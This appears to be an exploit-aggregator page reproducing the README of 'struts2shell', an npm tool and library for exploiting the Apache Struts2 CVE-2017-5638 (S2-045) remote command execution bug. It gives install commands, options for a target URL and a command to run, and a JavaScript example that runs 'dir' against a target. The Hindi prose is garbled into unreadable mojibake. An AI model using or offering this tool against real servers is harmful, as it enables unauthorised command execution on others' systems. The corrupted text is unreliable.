## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JPACORA-STRUTS2SHELL
# рд╕реНрдЯреНрд░рдЯреНрд╕2рд╢реЗрд▓
CVE-2017-5638 рдХреЗ рд▓рд┐рдП рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ (рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА) - Apache Struts2 S2-045 рдмрдЧред
## рд╕реНрдерд╛рдкрдирд╛
root@kitploit:~
$ npm install -g struts2shell
## рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрдирд╛
root@kitploit:~
$ npm install struts2shell
## рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк
root@kitploit:~
-h, --help рдЙрдкрдпреЛрдЧ рдЬрд╛рдирдХрд╛рд░реА рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдВ
-V, --version рд╡рд░реНрд╢рди рдирдВрдмрд░ рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдВ
-u, --url [target] рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ URL
-c, --cmd [command] рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб
## рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ
root@kitploit:~
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})